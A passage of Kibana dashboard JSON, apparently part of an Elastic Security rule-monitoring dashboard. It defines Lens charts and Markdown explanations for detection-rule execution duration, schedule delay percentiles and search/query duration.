000c63e3\",\"type\":\"index-pattern\"}],\"state\":{\"visualization\":{\"legend\":{\"isVisible\":true,\"position\":\"right\",\"legendSize\":\"auto\"},\"valueLabels\":\"hide\",\"fittingFunction\":\"None\",\"yLeftExtent\":{\"mode\":\"full\"},\"yRightExtent\":{\"mode\":\"full\"},\"axisTitlesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"tickLabelsVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"labelsOrientation\":{\"x\":0,\"yLeft\":0,\"yRight\":0},\"gridlinesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"preferredSeriesType\":\"line\",\"layers\":[{\"layerId\":\"59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\",\"accessors\":[\"707ff766-8ef2-47ca-9559-d7ace1bc0a4b\"],\"position\":\"top\",\"seriesType\":\"line\",\"showGridlines\":false,\"layerType\":\"data\",\"palette\":{\"type\":\"palette\",\"name\":\"default\"},\"xAccessor\":\"2e39ea80-4360-44ef-b24b-91adba3184f8\",\"splitAccessor\":\"3a521678-3e76-49b6-a379-eb75ef03604b\"}],\"yTitle\":\"Total execution duration, ms\"},\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"alerting\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"alerting\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"execute\"}},\"meta\":{\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"execute\"},\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"alias\":null}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.category\",\"field\":\"event.category\",\"params\":{\"query\":\"siem\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.category\":\"siem\"}}}],\"index\":\"0b7e01b1-974a-4de9-867d-46fc000c63e3\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"datasourceStates\":{\"formBased\":{\"layers\":{\"59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\":{\"columns\":{\"2e39ea80-4360-44ef-b24b-91adba3184f8\":{\"label\":\"@timestamp\",\"dataType\":\"date\",\"operationType\":\"date_histogram\",\"sourceField\":\"@timestamp\",\"isBucketed\":true,\"scale\":\"interval\",\"params\":{\"interval\":\"auto\",\"includeEmptyRows\":true}},\"3a521678-3e76-49b6-a379-eb75ef03604b\":{\"label\":\"Top 5 values of rule.name\",\"dataType\":\"string\",\"operationType\":\"terms\",\"scale\":\"ordinal\",\"sourceField\":\"rule.name\",\"isBucketed\":true,\"params\":{\"size\":5,\"orderBy\":{\"type\":\"column\",\"columnId\":\"707ff766-8ef2-47ca-9559-d7ace1bc0a4b\"},\"orderDirection\":\"desc\",\"otherBucket\":false,\"missingBucket\":false,\"secondaryFields\":[],\"parentFormat\":{\"id\":\"terms\"}}},\"707ff766-8ef2-47ca-9559-d7ace1bc0a4b\":{\"label\":\"Total execution duration\",\"dataType\":\"number\",\"operationType\":\"max\",\"sourceField\":\"kibana.alert.rule.execution.metrics.total_run_duration_ms\",\"isBucketed\":false,\"scale\":\"ratio\",\"customLabel\":true}},\"columnOrder\":[\"2e39ea80-4360-44ef-b24b-91adba3184f8\",\"3a521678-3e76-49b6-a379-eb75ef03604b\",\"707ff766-8ef2-47ca-9559-d7ace1bc0a4b\"],\"incompleteColumns\":{}}}}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"2eac0a4e-9ec7-433e-89bc-e8edc1dadae7\",\"gridData\":{\"i\":\"2eac0a4e-9ec7-433e-89bc-e8edc1dadae7\",\"y\":41,\"x\":21,\"w\":27,\"h\":15}},{\"type\":\"visualization\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"savedVis\":{\"id\":\"\",\"title\":\"\",\"description\":\"\",\"type\":\"markdown\",\"params\":{\"fontSize\":12,\"openLinksInNewTab\":false,\"markdown\":\"**Rule schedule delay** shows the difference between the planned rule start time (according to its schedule) and the time when it actually started. Normally, it should be about 3 seconds or less. When the cluster is overloaded, it can be way more than 3 seconds. This is when you'd want to scale your cluster according to the load or reduce it by disabling or optimizing the rules.\"},\"uiState\":{},\"data\":{\"aggs\":[],\"searchSource\":{\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"filter\":[]}}}},\"panelIndex\":\"a0f62bb1-a9c3-4c46-b0fb-137c7f2b4a0c\",\"gridData\":{\"i\":\"a0f62bb1-a9c3-4c46-b0fb-137c7f2b4a0c\",\"y\":56,\"x\":0,\"w\":48,\"h\":5}},{\"type\":\"lens\",\"title\":\"Rule scheduling delay, percentiles\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"hidePanelTitles\":false,\"description\":\"This chart aggregates this metric across all rules and shows how a few important percentiles of the metric were changing over time. 99th percentile means that 99% of rule executions had a schedule delay less than the percentile's value.\",\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"alerting\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"alerting\"}}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.action\",\"field\":\"event.action\",\"params\":{\"query\":\"execute\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.action\":\"execute\"}}},{\"query\":{\"match_phrase\":{\"event.category\":\"siem\"}},\"meta\":{\"negate\":false,\"type\":\"phrase\",\"key\":\"event.category\",\"params\":{\"query\":\"siem\"},\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"alias\":null}}],\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"attributes\":{\"title\":\"\",\"description\":\"\",\"visualizationType\":\"lnsXY\",\"type\":\"lens\",\"references\":[{\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\",\"type\":\"index-pattern\"},{\"id\":\"kibana-event-log-data-view\",\"name\":\"4101bdcb-5ba8-406f-8893-07356a98d49b\",\"type\":\"index-pattern\"}],\"state\":{\"visualization\":{\"legend\":{\"isVisible\":true,\"position\":\"right\",\"legendSize\":\"auto\",\"maxLines\":1},\"valueLabels\":\"hide\",\"fittingFunction\":\"None\",\"yLeftExtent\":{\"mode\":\"full\",\"niceValues\":true},\"yRightExtent\":{\"mode\":\"full\"},\"axisTitlesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"tickLabelsVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"labelsOrientation\":{\"x\":0,\"yLeft\":0,\"yRight\":0},\"gridlinesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"preferredSeriesType\":\"line\",\"layers\":[{\"layerId\":\"59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\",\"accessors\":[\"44728b87-025d-4b13-b3b9-35bfd5cc7d26\",\"f623346f-da47-4819-b485-d3527bd4506e\",\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9e\"],\"position\":\"top\",\"seriesType\":\"line\",\"showGridlines\":false,\"layerType\":\"data\",\"xAccessor\":\"2e39ea80-4360-44ef-b24b-91adba3184f8\",\"yConfig\":[{\"forAccessor\":\"44728b87-025d-4b13-b3b9-35bfd5cc7d26\",\"color\":\"#d36086\",\"axisMode\":\"left\"},{\"forAccessor\":\"f623346f-da47-4819-b485-d3527bd4506e\",\"axisMode\":\"left\",\"color\":\"#9170b8\"},{\"forAccessor\":\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9e\",\"axisMode\":\"left\",\"color\":\"#6092c0\"}]}],\"curveType\":\"CURVE_MONOTONE_X\",\"yTitle\":\"Schedule delay, ms\"},\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"alerting\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"alerting\"}}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.action\",\"field\":\"event.action\",\"params\":{\"query\":\"execute\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.action\":\"execute\"}}},{\"query\":{\"match_phrase\":{\"event.category\":\"siem\"}},\"meta\":{\"negate\":false,\"type\":\"phrase\",\"key\":\"event.category\",\"params\":{\"query\":\"siem\"},\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"alias\":null}}],\"index\":\"4101bdcb-5ba8-406f-8893-07356a98d49b\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"datasourceStates\":{\"formBased\":{\"layers\":{\"59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\":{\"columns\":{\"2e39ea80-4360-44ef-b24b-91adba3184f8\":{\"label\":\"@timestamp\",\"dataType\":\"date\",\"operationType\":\"date_histogram\",\"sourceField\":\"@timestamp\",\"isBucketed\":true,\"scale\":\"interval\",\"params\":{\"interval\":\"auto\",\"includeEmptyRows\":true}},\"44728b87-025d-4b13-b3b9-35bfd5cc7d26X0\":{\"label\":\"Part of 99th percentile\",\"dataType\":\"number\",\"operationType\":\"percentile\",\"sourceField\":\"kibana.task.schedule_delay\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"percentile\":99},\"customLabel\":true},\"44728b87-025d-4b13-b3b9-35bfd5cc7d26X1\":{\"label\":\"Part of 99th percentile\",\"dataType\":\"number\",\"operationType\":\"math\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"tinymathAst\":{\"type\":\"function\",\"name\":\"divide\",\"args\":[\"44728b87-025d-4b13-b3b9-35bfd5cc7d26X0\",1000000],\"location\":{\"min\":0,\"max\":63},\"text\":\"percentile(kibana.task.schedule_delay, percentile=99) / 1000000\"}},\"references\":[\"44728b87-025d-4b13-b3b9-35bfd5cc7d26X0\"],\"customLabel\":true},\"44728b87-025d-4b13-b3b9-35bfd5cc7d26\":{\"label\":\"99th percentile\",\"dataType\":\"number\",\"operationType\":\"formula\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"formula\":\"percentile(kibana.task.schedule_delay, percentile=99) / 1000000\",\"isFormulaBroken\":false},\"references\":[\"44728b87-025d-4b13-b3b9-35bfd5cc7d26X1\"],\"customLabel\":true},\"f623346f-da47-4819-b485-d3527bd4506eX0\":{\"label\":\"Part of 95th percentile\",\"dataType\":\"number\",\"operationType\":\"percentile\",\"sourceField\":\"kibana.task.schedule_delay\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"percentile\":95},\"customLabel\":true},\"f623346f-da47-4819-b485-d3527bd4506eX1\":{\"label\":\"Part of 95th percentile\",\"dataType\":\"number\",\"operationType\":\"math\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"tinymathAst\":{\"type\":\"function\",\"name\":\"divide\",\"args\":[\"f623346f-da47-4819-b485-d3527bd4506eX0\",1000000],\"location\":{\"min\":0,\"max\":63},\"text\":\"percentile(kibana.task.schedule_delay, percentile=95) / 1000000\"}},\"references\":[\"f623346f-da47-4819-b485-d3527bd4506eX0\"],\"customLabel\":true},\"f623346f-da47-4819-b485-d3527bd4506e\":{\"label\":\"95th percentile\",\"dataType\":\"number\",\"operationType\":\"formula\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"formula\":\"percentile(kibana.task.schedule_delay, percentile=95) / 1000000\",\"isFormulaBroken\":false},\"references\":[\"f623346f-da47-4819-b485-d3527bd4506eX1\"],\"customLabel\":true},\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9eX0\":{\"label\":\"Part of 50th percentile\",\"dataType\":\"number\",\"operationType\":\"percentile\",\"sourceField\":\"kibana.task.schedule_delay\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"percentile\":50},\"customLabel\":true},\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9eX1\":{\"label\":\"Part of 50th percentile\",\"dataType\":\"number\",\"operationType\":\"math\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"tinymathAst\":{\"type\":\"function\",\"name\":\"divide\",\"args\":[\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9eX0\",1000000],\"location\":{\"min\":0,\"max\":63},\"text\":\"percentile(kibana.task.schedule_delay, percentile=50) / 1000000\"}},\"references\":[\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9eX0\"],\"customLabel\":true},\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9e\":{\"label\":\"50th percentile\",\"dataType\":\"number\",\"operationType\":\"formula\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"formula\":\"percentile(kibana.task.schedule_delay, percentile=50) / 1000000\",\"isFormulaBroken\":false},\"references\":[\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9eX1\"],\"customLabel\":true}},\"columnOrder\":[\"2e39ea80-4360-44ef-b24b-91adba3184f8\",\"44728b87-025d-4b13-b3b9-35bfd5cc7d26\",\"f623346f-da47-4819-b485-d3527bd4506e\",\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9e\",\"44728b87-025d-4b13-b3b9-35bfd5cc7d26X0\",\"44728b87-025d-4b13-b3b9-35bfd5cc7d26X1\",\"f623346f-da47-4819-b485-d3527bd4506eX0\",\"f623346f-da47-4819-b485-d3527bd4506eX1\",\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9eX0\",\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9eX1\"],\"incompleteColumns\":{}}}}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"d2e87680-4d92-4067-9f27-7749854dedce\",\"gridData\":{\"i\":\"d2e87680-4d92-4067-9f27-7749854dedce\",\"y\":61,\"x\":0,\"w\":21,\"h\":15}},{\"type\":\"lens\",\"title\":\"Rule scheduling delay, top 5 rules per @timestamp\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"hidePanelTitles\":false,\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"alerting\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"alerting\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"execute\"}},\"meta\":{\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"execute\"},\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"alias\":null}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.category\",\"field\":\"event.category\",\"params\":{\"query\":\"siem\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.category\":\"siem\"}}}],\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"attributes\":{\"title\":\"\",\"description\":\"\",\"visualizationType\":\"lnsXY\",\"type\":\"lens\",\"references\":[{\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\",\"type\":\"index-pattern\"},{\"id\":\"kibana-event-log-data-view\",\"name\":\"adafccc0-9c17-4249-89e1-e61a8d00079b\",\"type\":\"index-pattern\"}],\"state\":{\"visualization\":{\"legend\":{\"isVisible\":true,\"position\":\"right\",\"legendSize\":\"auto\"},\"valueLabels\":\"hide\",\"fittingFunction\":\"None\",\"yLeftExtent\":{\"mode\":\"full\"},\"yRightExtent\":{\"mode\":\"full\"},\"axisTitlesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"tickLabelsVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"labelsOrientation\":{\"x\":0,\"yLeft\":0,\"yRight\":0},\"gridlinesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"preferredSeriesType\":\"line\",\"layers\":[{\"layerId\":\"59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\",\"accessors\":[\"707ff766-8ef2-47ca-9559-d7ace1bc0a4b\"],\"position\":\"top\",\"seriesType\":\"line\",\"showGridlines\":false,\"layerType\":\"data\",\"palette\":{\"type\":\"palette\",\"name\":\"default\"},\"xAccessor\":\"2e39ea80-4360-44ef-b24b-91adba3184f8\",\"splitAccessor\":\"3a521678-3e76-49b6-a379-eb75ef03604b\"}],\"yTitle\":\"Rule schedule delay, ms\"},\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"alerting\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"alerting\"}}},{\"query\":{\"match_phrase\":{\"event.action\":\"execute\"}},\"meta\":{\"negate\":false,\"type\":\"phrase\",\"key\":\"event.action\",\"params\":{\"query\":\"execute\"},\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"alias\":null}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.category\",\"field\":\"event.category\",\"params\":{\"query\":\"siem\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.category\":\"siem\"}}}],\"index\":\"adafccc0-9c17-4249-89e1-e61a8d00079b\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"datasourceStates\":{\"formBased\":{\"layers\":{\"59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\":{\"columns\":{\"2e39ea80-4360-44ef-b24b-91adba3184f8\":{\"label\":\"@timestamp\",\"dataType\":\"date\",\"operationType\":\"date_histogram\",\"sourceField\":\"@timestamp\",\"isBucketed\":true,\"scale\":\"interval\",\"params\":{\"interval\":\"auto\",\"includeEmptyRows\":true}},\"3a521678-3e76-49b6-a379-eb75ef03604b\":{\"label\":\"Top 5 values of rule.name\",\"dataType\":\"string\",\"operationType\":\"terms\",\"scale\":\"ordinal\",\"sourceField\":\"rule.name\",\"isBucketed\":true,\"params\":{\"size\":5,\"orderBy\":{\"type\":\"custom\"},\"orderDirection\":\"desc\",\"otherBucket\":false,\"missingBucket\":false,\"secondaryFields\":[],\"parentFormat\":{\"id\":\"terms\"},\"orderAgg\":{\"label\":\"Maximum of kibana.task.schedule_delay\",\"dataType\":\"number\",\"operationType\":\"max\",\"sourceField\":\"kibana.task.schedule_delay\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"emptyAsNull\":true}}}},\"707ff766-8ef2-47ca-9559-d7ace1bc0a4bX0\":{\"label\":\"Part of Rule schedule delay\",\"dataType\":\"number\",\"operationType\":\"max\",\"sourceField\":\"kibana.task.schedule_delay\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"emptyAsNull\":false},\"customLabel\":true},\"707ff766-8ef2-47ca-9559-d7ace1bc0a4bX1\":{\"label\":\"Part of Rule schedule delay\",\"dataType\":\"number\",\"operationType\":\"math\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"tinymathAst\":{\"type\":\"function\",\"name\":\"divide\",\"args\":[\"707ff766-8ef2-47ca-9559-d7ace1bc0a4bX0\",1000000],\"location\":{\"min\":0,\"max\":41},\"text\":\"max(kibana.task.schedule_delay) / 1000000\"}},\"references\":[\"707ff766-8ef2-47ca-9559-d7ace1bc0a4bX0\"],\"customLabel\":true},\"707ff766-8ef2-47ca-9559-d7ace1bc0a4b\":{\"label\":\"Rule schedule delay\",\"dataType\":\"number\",\"operationType\":\"formula\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"formula\":\"max(kibana.task.schedule_delay) / 1000000\",\"isFormulaBroken\":false},\"references\":[\"707ff766-8ef2-47ca-9559-d7ace1bc0a4bX1\"],\"customLabel\":true}},\"columnOrder\":[\"2e39ea80-4360-44ef-b24b-91adba3184f8\",\"3a521678-3e76-49b6-a379-eb75ef03604b\",\"707ff766-8ef2-47ca-9559-d7ace1bc0a4b\",\"707ff766-8ef2-47ca-9559-d7ace1bc0a4bX0\",\"707ff766-8ef2-47ca-9559-d7ace1bc0a4bX1\"],\"incompleteColumns\":{}}}}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"2372c630-207e-4859-83a9-de5a7bc638dc\",\"gridData\":{\"i\":\"2372c630-207e-4859-83a9-de5a7bc638dc\",\"y\":61,\"x\":21,\"w\":27,\"h\":15}},{\"type\":\"visualization\",\"title\":\"\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"savedVis\":{\"title\":\"\",\"description\":\"\",\"type\":\"markdown\",\"params\":{\"fontSize\":12,\"openLinksInNewTab\":false,\"markdown\":\"**Search/query duration** metric shows how much time it took for a rule when it was executing to query source indices (or data views) to find source events matching the rule's criteria.\"},\"uiState\":{},\"data\":{\"aggs\":[],\"searchSource\":{\"query\":{\"query\":\"\",\"language\":\"kuery\"},\"filter\":[]}}}},\"panelIndex\":\"054eb35b-90a8-4b45-9821-7c0eefb22a85\",\"gridData\":{\"i\":\"054eb35b-90a8-4b45-9821-7c0eefb22a85\",\"y\":76,\"x\":0,\"w\":48,\"h\":4}},{\"type\":\"lens\",\"title\":\"Search/query duration, percentiles\",\"embeddableConfig\":{\"enhancements\":{\"dynamicActions\":{\"events\":[]}},\"hidePanelTitles\":false,\"description\":\"This chart aggregates this metric across all rules and shows how a few important percentiles of the metric were changing over time. 99th percentile means that 99% of rule executions had a search/query duration less than the percentile's value.\",\"syncColors\":false,\"syncCursor\":true,\"syncTooltips\":false,\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.action\",\"field\":\"event.action\",\"params\":{\"query\":\"execution-metrics\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.action\":\"execution-metrics\"}}}],\"index\":\"kibana-event-log-data-view\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"attributes\":{\"title\":\"\",\"description\":\"\",\"visualizationType\":\"lnsXY\",\"type\":\"lens\",\"references\":[{\"id\":\"kibana-event-log-data-view\",\"name\":\"indexpattern-datasource-layer-59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\",\"type\":\"index-pattern\"},{\"id\":\"kibana-event-log-data-view\",\"name\":\"edb4ad7f-1ef2-477f-980c-c6fe47d6470d\",\"type\":\"index-pattern\"}],\"state\":{\"visualization\":{\"legend\":{\"isVisible\":true,\"position\":\"right\",\"legendSize\":\"auto\",\"maxLines\":1},\"valueLabels\":\"hide\",\"fittingFunction\":\"None\",\"yLeftExtent\":{\"mode\":\"full\"},\"yRightExtent\":{\"mode\":\"full\"},\"axisTitlesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"tickLabelsVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"labelsOrientation\":{\"x\":0,\"yLeft\":0,\"yRight\":0},\"gridlinesVisibilitySettings\":{\"x\":true,\"yLeft\":true,\"yRight\":true},\"preferredSeriesType\":\"line\",\"layers\":[{\"layerId\":\"59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\",\"accessors\":[\"44728b87-025d-4b13-b3b9-35bfd5cc7d26\",\"f623346f-da47-4819-b485-d3527bd4506e\",\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9e\"],\"position\":\"top\",\"seriesType\":\"line\",\"showGridlines\":false,\"layerType\":\"data\",\"xAccessor\":\"2e39ea80-4360-44ef-b24b-91adba3184f8\",\"yConfig\":[{\"forAccessor\":\"44728b87-025d-4b13-b3b9-35bfd5cc7d26\",\"color\":\"#d36086\",\"axisMode\":\"left\"},{\"forAccessor\":\"f623346f-da47-4819-b485-d3527bd4506e\",\"axisMode\":\"left\",\"color\":\"#9170b8\"},{\"forAccessor\":\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9e\",\"axisMode\":\"left\",\"color\":\"#6092c0\"}]}],\"curveType\":\"CURVE_MONOTONE_X\",\"yTitle\":\"Search duration, ms\"},\"query\":{\"query\":\"\",\"language\":\"lucene\"},\"filters\":[{\"meta\":{\"type\":\"combined\",\"relation\":\"AND\",\"params\":[{\"meta\":{\"negate\":false,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.provider\",\"field\":\"event.provider\",\"params\":{\"query\":\"securitySolution.ruleExecution\"},\"type\":\"phrase\",\"disabled\":false,\"alias\":null},\"query\":{\"match_phrase\":{\"event.provider\":\"securitySolution.ruleExecution\"}}},{\"meta\":{\"disabled\":false,\"negate\":false,\"alias\":null,\"index\":\"kibana-event-log-data-view\",\"key\":\"event.action\",\"field\":\"event.action\",\"params\":{\"query\":\"execution-metrics\"},\"type\":\"phrase\"},\"$state\":{\"store\":\"appState\"},\"query\":{\"match_phrase\":{\"event.action\":\"execution-metrics\"}}}],\"index\":\"edb4ad7f-1ef2-477f-980c-c6fe47d6470d\",\"disabled\":false,\"negate\":false,\"alias\":null},\"query\":{},\"$state\":{\"store\":\"appState\"}}],\"datasourceStates\":{\"formBased\":{\"layers\":{\"59ae5f24-20ed-4c11-bf5c-229d2dbb3cc8\":{\"columns\":{\"2e39ea80-4360-44ef-b24b-91adba3184f8\":{\"label\":\"@timestamp\",\"dataType\":\"date\",\"operationType\":\"date_histogram\",\"sourceField\":\"@timestamp\",\"isBucketed\":true,\"scale\":\"interval\",\"params\":{\"interval\":\"auto\",\"includeEmptyRows\":true}},\"44728b87-025d-4b13-b3b9-35bfd5cc7d26\":{\"label\":\"99th percentile\",\"dataType\":\"number\",\"operationType\":\"percentile\",\"sourceField\":\"kibana.alert.rule.execution.metrics.total_search_duration_ms\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"percentile\":99},\"customLabel\":true},\"f623346f-da47-4819-b485-d3527bd4506e\":{\"label\":\"95th percentile\",\"dataType\":\"number\",\"operationType\":\"percentile\",\"sourceField\":\"kibana.alert.rule.execution.metrics.total_search_duration_ms\",\"isBucketed\":false,\"scale\":\"ratio\",\"params\":{\"percentile\":95},\"customLabel\":true},\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9e\":{\"label\":\"50th percentile\",\"dataType\":\"number\",\"operationType\":\"percentile\",\"sourceField\":\"kibana.alert.rule.execution.metrics.total_search_duration_ms\",\"isBucketed\":false,\"scale\":\"ratio\",\"filter\":{\"query\":\"kibana.alert.rule.execution.metrics.total_run_duration_ms: *\",\"language\":\"kuery\"},\"params\":{\"percentile\":50},\"customLabel\":true}},\"columnOrder\":[\"2e39ea80-4360-44ef-b24b-91adba3184f8\",\"44728b87-025d-4b13-b3b9-35bfd5cc7d26\",\"f623346f-da47-4819-b485-d3527bd4506e\",\"861f06ed-3ef1-4e60-93fe-ddf176e5aa9e\"],\"incompleteColumns\":{}}}}},\"internalReferences\":[],\"adHocDataViews\":{}}}},\"panelIndex\":\"e2504c27-3027-4c13-85c0-a66416c53bd4\",\"gridData\":{\"i\":\"e2504c27-3027-4c13-85c0-a66416c53bd4\",\"y\":80,\"x\":0,\"w\":21,\"h\":15}},{\"type\":\"lens\",\"title\":\"Search/query duration, top 5 rules per 